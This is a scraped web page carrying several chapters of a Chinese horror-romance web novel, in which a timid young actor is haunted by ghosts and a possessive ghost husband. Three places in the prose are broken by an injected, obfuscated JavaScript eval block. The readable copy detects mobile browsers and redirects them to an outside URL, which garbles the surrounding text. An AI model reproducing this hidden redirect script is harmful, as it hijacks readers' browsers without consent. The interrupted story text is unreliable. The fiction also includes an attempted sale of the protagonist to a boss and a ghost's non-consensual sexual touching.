陆栖给谈雪慈买了份麻辣烫,哄骗他说:“晚上哥带你去做个大生意,等这生意做成,你跟哥这辈子都吃喝不愁!” 谈雪慈捧着个比自己脸都大的碗,茫然地眨了眨眼,路边摊灯光底下他双眼亮晶晶的,嘴唇殷红,他仰起脸,很小声地迟疑问:“做完以后,每天都能吃这么大份的吗?” 陆栖还给他加了鱼丸呢,手打的那种,入口软弹,他都没吃过这么好吃的东西。 “能!”陆栖给他保证,“吃!一天三顿!” 谈雪慈喝了一口汤,点点头,双眼发亮,乖乖地说:“陆哥,那我要去的。” 陆栖就带他去了酒店,上楼的时候谈雪慈可能有点怕,一直攥着他的袖子,中间碰到人,就往他背后缩,但还是很乖地跟他走。 直到酒店房间门打开,青荣娱乐的那位王总推门出来。 陆栖两眼一黑,好似看到了回族的禁忌。 那位王总已经迫不及待地洗好了澡,裹着酒店最大码的浴袍,浑身上下白皙丰软,看样子放到年底正好能出栏。 说好的金主呢,谁把猪圈打开了。 陆栖手心都是湿黏黏的汗,抬起头看一眼那个王总,又回头看一眼谈雪慈,最后深呼吸了一下,拉住谈雪慈扭头就跑。 等终于跑到酒店楼下,他才长出了一口气。 “……陆哥,”谈雪慈在旁边惴惴的,他揪着衣服下摆,有点不安地小心翼翼问,“我们不做大生意了吗?是我做错什么了吗?” 因为在家里一直被关着,他出来以后懵懵懂懂,总是在犯错。 谈雪慈本来就喜欢低着头,找个角落抱住膝盖缩起来,走到外面好像头更抬不起来了,有什么沉压压的东西落在他肩膀脊椎上,压得他无所适从,只能不停地给人道歉。 陆栖:“……” 陆栖抬起手,啪地扇了自己一巴掌。 ?! 谈雪慈被吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆栖嘀咕着转过头,准备开车,他边打火边恶声恶气地警告谈雪慈,“你可不能背着我跟那些男的混在一起,男人没有一个好东西,只有哥给你挑的可以信,知不知道?!” “知……知道。”谈雪慈老实地说。 陆栖没注意,在他说话时,谈雪慈背后高大的黑影抬起头,车厢昏暗阴影中,有只苍白冰冷,甲床漆黑的手缓缓地朝他脖颈伸去。 就在即将被掐住脖子的时候,陆栖突然又想起什么,回过头瞪谈雪慈,“而且你现在是个有老公的人,给我离那些野男人远一点!不然小心你那死鬼老公晚上来找你!” 这个恐吓比别的都管用多了,谈雪慈一点儿也不想半夜见鬼,吓得马上就坐直了,攥着安全带说:“好…好的!” 陆栖终于满意,转过去开车。 “……” 那只鬼手在离陆栖脖子不到一厘米的地方,化成一团白雾,缓缓消失了。 10.恶鬼 酒店离学校不远,开车大概十几分钟的路程,已经很晚了,明天上午还得继续拍摄,陆栖就催谈雪慈上去睡觉。 他跟其他工作人员一样住下面几层,谈雪慈的房间在十六楼。 谈雪慈独自坐电梯上楼,一路都提心吊胆的,甚至下意识又攥紧了那个符袋。 他之前晚上坐电梯,一开门就看到有个穿着白衣的女人,对方黑色长发垂下来挡住脸,只勉强能看到一双死气沉沉的黑眼睛。 女人站在电梯门口,一动不动地盯着他。 谈雪慈吓得狂按电梯按钮,但电梯门怎么也关不上,头顶的灯都开始闪烁。 每次暗下去的时候,谈雪慈都呼吸一紧,生怕灯光亮起时女人突然贴到他脸前。 那个女人似乎想走进电梯,但又好像在忌惮什么,迟疑了几分钟,最后还是放弃了,从电梯门口缓缓飘走。 真的是飘走,像一道白色的影子一样,谈雪慈现在想起来还是浑身冷汗。 但今晚格外顺利,除了那个鬼婴,他从离开学校到回房间,都没再碰到任何意外。 谈雪慈终于松了一口气,他将自己的小书包放下,从里面拿出贺恂夜的牌位。 剧组给男女主,还有翟放订的房间都是顶层的豪华套间,谈雪慈虽然是男三,也算主要角色,但他只是个小面团,揉吧一下怎么塞都行,就只给他安排了一个普通大床房。 房间里有张小桌子,在床对面靠墙放着。 谈雪慈将牌位跟香炉摆上去,老老实实地上了三炷香,还鞠躬拜了拜。 他总觉得今晚是贺先生救了他,而且是贺家给办的阴婚,当时贺恂夜都死了,又不是贺恂夜主动跟他拜的堂,其实贺先生也是受害者。 说起来,贺先生好像才二十八岁。 到底是怎么死的呢? 谈雪慈拜完,揉了揉眼睛就去洗澡,然后又踩着湿漉漉的拖鞋咕叽咕叽地走到床边,跪坐床上以后突然顿住。 在贺家的那几天,他病得昏昏沉沉,头都抬不起来,所以也没力气去在意贺恂夜的牌位跟遗照,别说摆在床对面,就算放他被窝里,他也没什么办法,但现在…… 谈雪慈手指蜷了蜷,有些紧张地咽了下口水,换成谁都没办法在一个漆黑牌位前入睡吧。 他爬下床,小心翼翼地将牌位转了一个方向,然后看着面壁的牌位。 谈雪慈:“……” 好像……好像不太好。 谈雪慈又把牌位转了回来,然后抹了抹眼睛,很窝囊地抱起枕头被子还有自己的小羊,去沙发上睡,将大床留给贺恂夜。 酒店的沙发不大,但谈雪慈很瘦,蜷起腿勉强能睡,至少沙发在房间角落,他不用正对着那块牌位,不然总有种被盯着的感觉。 跟在他身后的黑影一直沉默地看着他跑来跑去,直到谈雪慈搂着小羊窝在沙发上不动了,黑影才跟过去站在他旁边。 谈雪慈还不困,而且从来没人管他几点睡觉,所以他习惯了熬夜。 他拿出手机,经纪人给他存了几个幼儿园跟小学的课程,让他没事儿就自学一下。 谈雪慈躲在被子底下,因为沙发不够长,他只能跪趴着,然后将半张脸都埋在小羊的肚皮上,雪白的小脸挤出点软肉,只完整露出双眼睛,浓长的睫毛扫下一片细密的阴影。 他不知道这个姿.势显得他屁股很翘,就算蒙着被子,也能看出底下的少年腰肢纤细。 黑影很自然地骑上去,压在他身上,冰冷刺骨的寒意从被子底下开始蔓延,谈雪慈控制不住打了个哆嗦,突然觉得有点冷。 他睁圆了眼睛,从被子底下探出头,警惕地左右张望,什么都没看到,他就裹紧被子,又换了个姿.势,蜷成一团侧躺下。 黑影冰冷的双手沿着少年的胯骨往上,摸索到小腹,然后也跟他一起躺下,从背后搂住少年的腰,将人严丝合缝抱在怀里。 今天晚上也太冷了吧。 谈雪慈茫然地转过头,只摸到自己的被子,他身体不好,体温都比正常人低一样,手脚常年都是冰凉的,被子也总是捂不热。 但他毕竟是个活人,都已经裹着被子躺了半个多小时,不可能一点儿温度都没有。 现在触手却一片冰凉。 谈雪慈怎么也想不通,就只能尽力忘掉这些异常,继续听自己的课。 转过去时,却不小心晃了下手机,屏幕突然蹦出条消息,问他是否要跳转。 谈雪慈:O.o 他点了跳转。 谈雪慈睫毛垂下来,咬着手指,漆黑的卧室里,只有他的小脸被手机屏幕映得莹白发亮。 黑影又将他抱紧了一点,缓缓凑过去,将下颌抵在谈雪慈的肩膀上,枕着自己小妻子睡衣底下白皙温热的肩头,跟他一起看手机。 谈雪慈捧着旧手机,期待地等着它一圈一圈地加载,终于加载出个视频网站,紧接着,一阵激动人心的背景乐响起。 “……我重生了,重生在被渣男抛弃的那个雨夜,这辈子我要夺回我的一切,首先就是踹掉渣男,接受跟渣男小叔的联姻……” 谈雪慈:“……” 谈雪慈一愣一愣地听了三四分钟,这集就没了,他咬住唇,又等着跳转下一集,最后不知道看了多少集,正看到男女主大雨中相遇,手机信号突然变得很差。 屏幕也开始卡顿,男女主的脸在惨白的频闪中扭曲变形,深夜大雨滂沱,女主的红裙摇摇荡荡,带出阵黏腻的水声,血红又阴冷。 谈雪慈头皮莫名发麻,他刚想把视频关掉,就突然感觉到手心好像湿湿的,他低头一看,鲜红的液体沿着他冷白指缝往下流。 血从手机里流出来了! 谈雪慈马上扔掉手机,他浑身都在发抖,想先把灯打开,但沙发旁边的台灯怎么也按不开,酒店的窗帘倒是被风吹开了一样。 谈雪慈有种很不好的预感,他缓缓抬起头,就见窗外趴着张诡白的人脸,正在对他笑。 对方甚至还敲了敲窗户,发黑的口腔张开,像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895045|191614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他说。 我、想、进、来。 谈雪慈吓得一骨碌坐起来,他裹着被子躲在沙发角落,攥住胸口的符袋,嗓子发颤地喃喃说:“贺先生?贺先生?” 他刚给他上过香,不能不管他吧。 谈雪慈十几年来几乎每天都会碰到这些脏东西,但这种待在窗户外面,一时半会还没进来的,谈雪慈相比之下没那么害怕。 因为不是每个鬼都有本事进来。 他听说过,这种东西是需要主人邀请的,不给开门,不给开窗,家里也没有摆放对方的牌位遗物,对方就没办法进来。 谈雪慈躲在被子底下,语无伦次地念了很多遍贺先生,等再抬起头时,就见那个鬼盯着他身后,原本怨毒阴冷的神情都被浓重的恐惧覆盖,似乎转身就想逃,却被砰!地一下按住后脑,死死按在玻璃上,双眼暴突。 它半个脑子鲜血淋漓地流了下来,黏腻软滑,还有肥大雪白的蛆虫在脑浆里不停地窜动。 “……” 谈雪慈胃里一阵翻涌。 那个鬼嗬嗬地发出几个气音,血红眼珠裹着丝丝缕缕的肉挤出眼眶,却怎么也挣扎不开。 它是出车祸被撞死的,对方撞到它以后没停车,还又碾了一遍,把它脑子碾得稀巴烂。 它在附近徘徊很久了,刚才看到酒店这边阴气冲天,在鬼祟眼中简直就像整个酒店上方黑云压顶一样,就忍不住跟上了谈雪慈。 俗话说百年鬼千年祟,虽然不是非得一百年才能成鬼,一千年才能成祟,但想成为比鬼更强大的邪祟确实更难。 这么浓郁的阴气,对鬼祟是上等补品,只要吞了谈雪慈,就算它是个最不起眼的小鬼,也能当场成祟,说不定还能当个一方鬼王。 它被冲昏了头脑,上门来找谈雪慈,本来想等谈雪慈睡着了,它去鬼压床,但谈雪慈一直不睡,它只好吓唬吓唬谈雪慈。 看着胆子就很小,这么弱小的人类,被吓个半死,吃起来肯定口感很好。 它顶着半个脑子,甚至都没想过,为什么谈雪慈这边阴气浓重,却没有其他鬼祟过来。 直到身后刺骨阴寒,一只苍白嶙峋的鬼手直接掐断它的脖颈,将它摇摇欲坠的脑袋摘了下来,他才终于发现谈雪慈身旁的那个东西。 是比它更强大……不,是它根本看不出到底有多强大的恶鬼。 什么诸邪避退,明明是恶鬼缠身。 谈雪慈眼睁睁看着那个鬼被摘下脑袋,他往后躲了躲,将自己嵌入身后恶鬼的怀抱。 他也不敢再看手机了,钻到被子底下强行让自己睡过去,大概过了半个多小时,才终于睡着,眉头也稍微舒展开。 谈雪慈半张小脸蒙在被子底下,被子却被什么东西一点一点往下扯开,直到整张脸都露出来,睫毛已经闷得湿颤颤。 对方惨白手指蹭过他的脸颊,过了半晌,黑暗中才响起一道阴冷又含糊的嗓音,很亲昵似的,贴着他,低声说: “不叫老公了,真不乖。” 11.借伞 谈雪慈睡着后又做了个鬼压床的噩梦,等去了剧组,整个人苍白虚脱,眼圈都熬红了,蔫巴巴地坐在化妆间角落。 “卧槽,”经纪人被吓了一跳,担忧地问,“你这样还熬得住吗?吃了药也不管用?” 谈雪慈摇了摇头,连说话的力气都没有,他也觉得自己撞鬼频繁。 而且以前的鬼大部分都不能碰到他,就像他之前在电梯门口碰到的那个女鬼一样,站着吓他一会儿就会离开。 但最近碰到的鬼,每个都杀意很重,尤其是那个鬼婴,甚至还能抓住他小腿。 很多精神分裂患者会出现幻觉,幻听,被害妄想,但真的感觉到有人在掐自己,这种躯体化幻觉比单纯的幻觉严重得多。 是从什么时候开始的呢? 他起初见到鬼婴的时候,那个鬼婴朝他扑过来,但其实并没有碰到他,他回阁楼以后,鬼婴撞不开门就走了。 第一次被这种阴间生物碰到,应该是贺家派来迎亲的纸扎人。 精神分裂患者受到强烈的外部刺激以后,病情可能会加重,也许是被家人抛弃,让他受到了打击,病情才会严重吧。 谈雪慈觉得自己又悟了,他就没再多想。 反正想也没用,他本来就不指望自己长命百岁,能再活两三年就很好了,他不想现在死,但也不想一个人孤零零地活很久。 大概就像爸爸说的那样,他是个祸根,大家碰到他就会倒霉,所以长这么大,连一个真正喜欢他的人都没有。 张妈会帮他把小羊玩偶洗得干干净净,但是也会跪在家里的佛堂前祈祷,说希望他早点死掉,免得夫人再伤心。 陆栖会带他去吃麻辣烫,这辈子头一次有人专门带他去吃饭,但是陆栖一直想把他的屁股卖掉,虽然不知道为什么最后没卖。 谈雪慈还没那么傻,他知道陆栖带他去做的是什么大生意,他不想陪那些老板睡觉,但是又怕他不去,陆哥也不会再理他了。 谈雪慈揉了揉发红的眼眶,化完妆就往片场走,正好看到导演在跟翟放说话。 “翟老师,”导演满脸为难地说,“你这个样子我确实没办法拍啊。” 谈雪慈抬起头看向翟放,顿时愣了愣,翟放昨天状态还很好,堪称清俊,但今天眼皮突然肿了,隐隐还能看到一点血线,下巴凹凸不平,就像里面的填充物移动了一样,整张脸都肿了一圈,比他这个撞鬼的脸色还难看。 上镜本来就显胖,不管男女演员都比普通人瘦很多拍出来才能好看。 翟放现在肉眼看着都很肿,拍出来直接变成发面馒头,又得被网友求教程。 翟放烦得要死,他觉得自己跟谈雪慈八字不合,怎么谈雪慈一来剧组他脸就崩了,他转过头对上谈雪慈,没好气地说:“看什么看?!” 旁边的人都低着头假装没听见。 翟放背后靠山很硬,他对谈雪慈的厌恶装都懒得装,剧组也没人敢说什么。 “翟老师,”导演劝翟放说,“要不你先回去休息一下,晚点儿再拍?” 让他拍他也不敢啊,到时候拍完播出去,翟放肯定又被骂成一大坨屎。 翟放被骂不要紧,但肯定会迁怒其他人,转头把他也骂成一坨屎怎么办。 翟放也知道自己这状态不行,他垮着脸没再说什么,但也没回酒店,因为今天男主也在。 整个剧组咖位最大的就是男主闻遥川。 闻遥川曾经拿过影帝,现在也是名副其实的一线大腕,能来演这个狗血虐恋剧,估计是导演烧高香给求过来的。 翟放想攀闻遥川很久了,之前一直没机会,趁闻遥川在剧组,他肯定要留下来混脸熟。 “闻老师、闻老师……” 闻遥川走过来时,导演跟其他演员都纷纷站起来打招呼,谈雪慈也混在里面,偷偷模仿人类的社交礼仪叫了声闻老师。 他声音不大,但闻遥川偏偏听到了,转过头看向他,挑了下眉说:“小谈病好了?” 闻遥川在剧里演一个痞帅男主,最近打了黑曜石耳钉,黑发修得不太规整,他今年二十七岁,是他们剧组年龄最大的演员,宽肩窄腰,光看身材更偏向熟男,但为了这部戏减重将近二十斤,穿上校服倒也不违和。 谈雪慈迷懵点头。 闻遥川像是随口一问,朝他笑了下也没再多说什么,就去拍戏。 他们一直拍到傍晚六点多,导演有个晚宴要参加,大概晚上十点左右才能回来。 闻遥川没什么影帝架子,跟谈雪慈他们几个主创说:“正好都在剧组,我请你们吃晚饭?学校附近有个不错的火锅店。” 没人驳影帝的面子,大家都纷纷答应。 闻遥川还有点事要处理,就跟他们约好了待会儿七点半在火锅店见。 陆栖手底下不止谈雪慈一个艺人,想着几个演员吃顿饭,应该没什么事,就让谈雪慈自己去,他晚上得陪另一个艺人去录综艺。 翟放开车带其他人走,故意没带谈雪慈,剧组其他人在翟放旁边赔笑,只有孟栀迟疑地转头看了谈雪慈一眼。 她刚入行,不太习惯这个圈子的残酷,没办法像其他人那样捧着翟放,冷落谈雪慈,但她又只是个自身难保的小演员。 她还在原地纠结,就见谈雪慈忽然抬手朝她摆了摆,那是个催她离开的手势。 从她的角度看不清谈雪慈的脸,只能在剧组明暗交错的灯光底下看到谈雪慈冷白的下颌,线条有种奇异的婉约冰冷。 “孟栀呢?”翟放见少了个人,站在车旁回头叫道,“小孟老师?” 孟栀睁圆了眼睛,一步一回头地走掉了。 - 火锅店离学校不远,走路十几分钟,走公交也只有一站,谈雪慈是走过去的。 他走到半路,收到了翟放的消息。 【翟放:三楼,四号包厢,我们要了瓶酒一直没上,你待会儿给带上来。】 谈雪慈垮着小脸,略长的黑发垂下来挡住了那双漂亮又阴郁的眉眼,好似有化不开的浓雾瘴气一样,湿湿冷冷。 翟放总是喜欢指使他做事,也不知道翟放记不记得,其实他们进组之前就见过。 当时他刚跟贺睢谈恋爱,贺睢带他去夜总会跟朋友玩,恰好翟放跟他那个姓徐的金主也在,大概因为那位徐总盯着他看了几秒,翟放一晚上都在不停地使唤他去拿酒。 今晚店里客人很多,谈雪慈掀开门帘进去,就看到每桌上都热气蒸腾,红锅,白锅,更多的是鸳鸯锅,还能闻到一股呛鼻的焦糊味。 也许是糊锅了吧。 谈雪慈想。 他走到前台,对服务员说:“你好……” 这家火锅店灯光有点暗,偏红色的,待久了眼睛不太舒服,谈雪慈抬起手揉了揉。 女服务员留着披肩长卷发,转过头时脸上的妆容很浓,粉底特别死白,显得嘴唇猩红,她轻轻地说:“你要什么呀?” “你好,”谈雪慈对上她的脸,忍不住蜷了下手指,说,“三楼四号包厢的酒还没送上去。” “四号包厢?”女服务员跟着念了一遍,然后踩着高跟鞋摇摇晃晃地去给他拿酒。 她走路姿势实在太僵硬了,像喝醉了一样站不稳,谈雪慈往她腿上看了一眼,受伤了吗? 然后脸色顿时僵硬。 女服务员穿了条包臀裙,只露出膝盖以下的小腿,她的两条腿都是淤紫色,像人死后溃烂了很久的颜色,还长着尸斑,脚跟朝前,脚尖朝后,红色的高跟鞋尖对着谈雪慈。 摇摇晃晃。 摇摇晃晃。 谈雪慈屏住呼吸,他扭头就往楼上跑。 “诶——”女服务员叫了他一声,没有叫住,看着他跑去的方向,嘀咕了声,“好害怕啊,怎么去那间了呢……” 谈雪慈找到四号包厢,推开门以后,里面却是另一桌客人。 桌上摆着一个红白鸳鸯锅,还没上菜,几个人听到他开门,都缓缓转过头。 这个包厢灯光更暗了,每个人的脸都黑蒙蒙的,看不太清楚。 【有人来了。】 【他怎么……好像不是一个人啊……】 【来吃吧。】 包厢里还空着一个座位,它们都转过头,漆黑的面容盯着谈雪慈,不停地催促他。 【来吧,来吃吧。】 “对……对不起,”谈雪慈生怕那个女服务员追过来,都没注意包厢里的异常,还以为是自己走错了,他连忙道歉然后关上门,“对不起!” 砰的一声。 【嗬嗬……】 【跑不掉的。】 谈雪慈退出去又看了一眼。 确实是四号包厢…… 难道楼层走错了吗? 谈雪慈只能往楼梯口走,然后回头看楼层牌子,也确实是三楼…… 三楼的包厢门不知道什么时候全部打开了,每个包厢都能听到火锅咕嘟咕嘟的声音,但除此之外很安静,空气中还带着一阵纸灰味。 谈雪慈颤抖着拿出手机,给闻遥川他们发了消息,没收到任何回复,他只能往楼下走,想看看他们的车在不在。 走到一楼时,突然有人在背后拍了下他的肩膀,谈雪慈被吓得心脏差点跳到嗓子眼,转过头发现是一个老大爷。 对方拄着拐,佝偻着腰,双眼很浑浊,问他,“孩子,你在这儿干什么呢?” “我……”谈雪慈怯生生地说,“我跟几个朋友在这儿吃饭,找不到他们了。” 老大爷沉默了一会儿,说:“别找了。” “但是……”谈雪慈迟疑。 “别找了,”老大爷语气加重,“回去吧!” 谈雪慈一愣。 老大爷摇着头离开,“别吃它们的饭,路上不管有什么人叫你,给你什么东西,都别要,回去吧,再晚啊,就回不去了……” 谈雪慈后背被冷汗浸湿,也对,不管他是发病了还是怎么回事,现在回剧组更安全一点。 谈雪慈道了声谢,就往外走,外面不知道什么时候下起了大雨,还好不远处有个公交站,可以避一避,谈雪慈就朝公交站跑过去。 他身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他还记得那个老人的话,不能拿别人的东西,他确实听说过,晚上出门碰到有人给你东西,不能拿,看到地上掉了什么,也不能捡。 不然鬼怪就要缠上你了。 男人却没动,握着伞柄的那只手骨节苍白修长,指甲修剪得很干净,手背上青筋浮凸,怎么看都是双能弄死他的手。 谈雪慈跟男人一直僵持,都没注意到站牌旁的几个乘客在男人来了以后终于抬起头,然后畏惧地往远挪了挪。 男人没继续等,他握住谈雪慈的手,将伞柄塞到了谈雪慈手心里。 谈雪慈没能挣扎开,他再怎么样也是个身高一米七六的男生,但手被对方攥在掌心里显得又软又小,稍微用点力,几根手指就开始发红,像白瓷胚被晕了层薄红似的。 他被迫握住冰冷的伞柄,再抬起头时男人却不见了,原地消失。 男鬼啊。 谈雪慈心脏拔凉拔凉,已经数不清这一晚上到底碰到几个鬼了,然而他此刻脑子雾重重的,几乎不能思考,只知道自己有了伞,就能走着回剧组了,他立刻往剧组走。 大概走了七八分钟,雨还在下,但路边霓虹灯亮起,车水马龙,行人脚步匆匆,还时不时传来喇叭的滴滴声。 谈雪慈猛地惊醒,后知后觉地出了一身冷汗,连忙拢着自己的卫衣往学校跑。 闻遥川他们都在文擎楼的一楼大厅,隔着雨雾看到谈雪慈,连忙走过去。 “抱歉小慈,”闻遥川很歉疚地说,“我能这么叫你吧?晚上换地方了,我给你发了消息,你没看到吗?” 谈雪慈一愣,他拿出手机,才看到闻遥川发的消息,但他很确定,刚刚他手机里没这条消息,他又去翻翟放的那条,反倒不见了。 也许从一开始就是鬼。 “我高中就是在嘉禾私立读的,”闻遥川跟他解释说,“以前经常去旁边的裕隆老火锅吃饭,但很多年没来,我不知道它已经倒闭了。” 副导在旁边听到,接话说:“裕隆?那家我也去过,之前好像火灾吧,从三楼一个包厢烧起来的,听说连老板带服务员还有顾客,死了七八个人呢,所以才闭店的。” “我还听说,”副导神神秘秘地说,“那地方经常一到晚上,店就开了,还会有人问你吃不吃火锅,要是跟它们一起吃,就走不掉喽。” 谈雪慈脸上毫无血色,他将伞放到旁边桌子上,双手都在发抖。 翟放在旁边听着,他简直受够了,因为谈雪慈不见了,他们几个最后什么都没吃,他现在又冷又饿,还得在这儿听神叨叨的鬼故事。 他跟闻遥川打了个招呼,说:“闻老师,我去买点东西吃,给你跟小孟也带几份。” 翟放自己带了伞,但肩膀撞开谈雪慈,伸手拿过谈雪慈的伞就往外走。 闻遥川看到谈雪慈苍白的脸色,迟疑地说:“小慈,你该不会看到什么了吧?” 谈雪慈还没来得及说话,就突然听到外面传来一阵极其惊恐的惨叫。 在场的人都被吓了一跳,连忙出去看。 翟放站在雨地里,转过头,一脸惨白地看向他们,他手中的伞刚走到雨里就突然被浇烂了,像一块一块黏稠黑血一样砸了他满脸。 他下巴的填充物还没吸收好,脸上也凹凸不平,被黑漆漆的污血糊了一脸。 像只从黑色淤泥里刚跳出来的癞蛤蟆。 12.不听话 翟放握着伞柄,气到发抖,但伞是他自己拿的,他辱骂谈雪慈显得很理亏,而且闻遥川还在,说不定会给闻遥川留下糟糕的印象。 他抹了把脸上又冷又黏的黑血,竭力保持冷静,然而左右脑互搏了一下,嗓音还是带着怒意,跟谈雪慈说:“你是故意的吧?” 谈雪慈也愣住了,他刚才撑伞回来的时候明明还好好的。 翟放的经纪人在旁边吓个半死,赶紧拿起自己的伞去接翟放。 “等下,”谈雪慈还没说话,闻遥川却先开口了,他走过去看了眼翟放手里剩下的半个黑色伞柄,神情有些凝重,说,“不是黑血,是纸浆,这是死人用的纸伞。” 翟放猛地撒开手,将伞柄远远扔出去。 “小慈,”闻遥川转过头问谈雪慈,“你刚才回来的时候碰到什么人了吗?” 谈雪慈大脑已经一片空白了,刚才他有碰到人吗?还是……碰到了鬼。 那个男鬼给了他一把伞。 翟放不信鬼神,都什么年代了,还搞封建迷信,但现在是晚上将近十点,整个学校的学生都已经搬走,偌大的私立中学黑沉压抑,只有剧组占用的这栋楼亮着灯。 暴雨阴湿滂沱,时不时划过一道雪亮的枝状闪电,忽明忽暗,让他觉得背后好像会随时窜出什么鬼祟一样。 “闻哥,”翟放接过经纪人递给他的毛巾,打着哆嗦擦了下脸,说,“您还懂这个啊?” 闻遥川往上捋了把潮湿的黑发,雨下得太大了,他刚才去门口看翟放的伞,也被溅湿了一点,他唔了声说:“稍微知道点皮毛,之前拍过一个崂山道士的电影,跟几个道长,还有风水界前辈学过一点东西,更多的我也不懂了,但你这个,我觉得最好赶紧洗干净。” 就算他不说,翟放也打算去洗个澡,黏在身上他感觉自己的骨头都被冻得发疼。 他匆匆跟闻遥川他们打了个招呼,就在经纪人和几个助理的簇拥下离开。 等翟放走了,闻遥川又看向谈雪慈,好奇地问他,“小慈,你有阴阳眼吗?” 谈雪慈睫毛抬起,瞧了瞧他,然后一板一眼地说:“没有。” 他觉得闻遥川有精神病。 闻遥川:“……” 闻遥川毕竟是影帝,他大概看出谈雪慈在想什么,被嗤地一声逗笑了,然后指了指他,认真起来说:“你这几天也得注意一点,你收了鬼祟的东西,它会来找你的。” 孟栀先被翟放满脸黑污的样子吓了一跳,又听闻遥川说得这么恐怖,吓得泪眼婆娑。 副导也在旁边战战兢兢,干笑了声说:“闻闻闻……闻老师,应该没这么玄乎吧。” 闻遥川摇了摇头,讳莫如深。 等导演来了,他们拍完夜戏就准备回酒店。 谈雪慈站在原地,闻遥川让他处理掉伞柄,他也不知道怎么处理,而且都被翟放碰过了,还湿黏黏的,他漂亮的小脸皱成一团,拿卫生纸捏起来扔到了垃圾桶里。 出去时有冰凉的雨丝蹭过他的脸颊。 “……真坏。” 谈雪慈好像听到有人在骂他,但那道低渺轻笑的嗓音携着夜雨几乎转瞬就消失了,他茫然转过头,什么都没看到。 - 陆栖不在,谈雪慈跟着场务的车回酒店,在车上忍不住搜了下裕隆老火锅的火灾事件,当然,他不会打店名这几个字,是靠语音输入。 裕隆老火锅三年前发生火灾爆炸,七死十一伤,新闻还附上了火锅店老板的照片,就是晚上让他赶紧回去的那个老人。 谈雪慈后背窜上股寒意,他猛地关掉了搜索界面,长睫扫下片浓密的阴影,微微发颤。 真的撞鬼了。 是他晚上见到那个老人,所以点开新闻的时候脑子出现幻觉,把照片上老板的脸看成了那个老人?还是他一直没从幻觉里出来过? 旁边剧组的几个工作人员还在说笑,车里没开灯,每个人的脸都黑乎乎的,谈雪慈心里有点发毛,往靠窗的地点躲了躲,但刚靠近车窗,又紧绷了下,万一车窗上突然出来个鬼脸怎么办,岂不是会吓死他。 谈雪慈眼泪巴巴地坐在中间不敢动了,他点开微信,找到一个吗喽抱头仰天流泪的头像,给经纪人发了条消息。 【谈雪慈:陆哥,我明天想去医院。】 【陆哥:行,我中午的飞机,下午应该能赶上,你去医院门口等我,我陪你。】 谈雪慈回了个表情包就收起手机。 等到了酒店,他幽魂一样飘到浴室洗澡,又飘到床上,刚躺下突然想起没给自己的死鬼老公上香,又垂死病中惊坐起,去上了三炷香,最后搂着枕头被子,嘴里叼着小羊玩偶的耳朵,飘到沙发旁扑通倒下不动了。 他刚趴下就睡着了,虚空中几根死气沉沉的青白手指伸过来,撑开他的嘴唇,从他嘴里抠出那只湿塌塌的小羊耳朵,对方将指尖沾到的唾液都蹭在了他又红又湿的唇肉上。 “不听话……”黑漆漆的卧室中,有道低冷的嗓音响起,乍一听很温柔似的,“又要乱跑了……” - 谈雪慈心力交瘁,这一晚没再做噩梦,第二天早早起来去剧组,却得知翟放生病了。 “哎呀,”副导发愁说,“不知道怎么回事,好像都病得起不来了。” 谈雪慈跟翟放有几场对手戏,翟放没来,他就提前收工,坐车去京市第一人民医院,他跟医生约了在十七楼精神科住院部见面。 到医院时,陆栖还没来,谈雪慈打算上楼去等他,却见停车场方向走过来两个男人,走在前面的那个戴着黑色口罩跟黑色鸭舌帽,后面的身材微胖,点头哈腰格外殷勤。 是翟放跟他的经纪人。 他们都没注意到谈雪慈,谈雪慈也不是很关心他们,就收回了视线,正好陆栖来了,他跟陆栖一起搭电梯上楼。 “我在外面等你。”陆栖挥挥手说。 谈雪慈嗯了声,他轻轻敲了敲办公室门,然后推开,说:“解医生。” 他的主治医生叫解云,今年三十九岁。 谈雪慈五岁时第一次到精神科做检查,当时解云还在实习,接诊的是解云的老师。 老师退休之后,解云也成功转正,甚至成了精神科的一把手,还接手了对方的好几个患者,其中就包括谈雪慈。 “小慈来了,”解云长相文质彬彬,戴了副银丝边眼镜,看着像三十出头,他抬手示意谈雪慈坐下,关切地问,“你说最近病情严重了,具体发生了什么呢?” 谈雪慈是他当年接触过的最小的患者。 据谈雪慈说,他第一次撞鬼,是在三岁时,他总听到家里有咚咚咚的声音,一到晚上就有咚咚咚沿着楼梯上去或者下来。 当时他不是很懂,年纪小也不知道害怕,还啪嗒啪嗒地跑到阁楼门口,探出头去看,然后就看到走廊里有个像皮球一样的东西滚来滚去,黑乎乎的,看不太清。 他追着那个皮球,追到妈妈的房间,妈妈的床底下咚咚咚一直在响,他小手撑在地上,往床底爬,然后看到了一颗红色的人头。 那颗人头本来紧闭着双眼,谈雪慈爬过去以后,它的眼眦就突然睁开了,黑漆漆的嘴巴张得很大,露出了深红色牙龈,里面没有舌头。 谈雪慈呆住。 张妈发现谈雪慈不见了,急忙去找他,找到的时候谈雪慈小脸通红滚烫,已经发起了高烧,倒在地上不省人事。 谈雪慈烧了三天才勉强退下去,他发烧的时候也一直听到咚咚咚,那个人头一到晚上就咚咚咚地跳到妈妈床底下。 妈妈说她睡不着。 谈雪慈记性很好,他几乎记得自己从出生以来的所有事,小时候大家都是很喜欢他的,妈妈每天都会亲他的小脸蛋。 直到几个月前,也就是刚过完三岁生日的时候,他不小心掉进家里的池塘,溺水了,被救出来送到医院,住了十几天才出院。 回家以后大家就都不喜欢他了,妈妈不理他,大家也不跟他说话。 他想让张妈去看看床底,张妈总是会叹气说:“小少爷,你不要再闹了,夫人会生气的。” 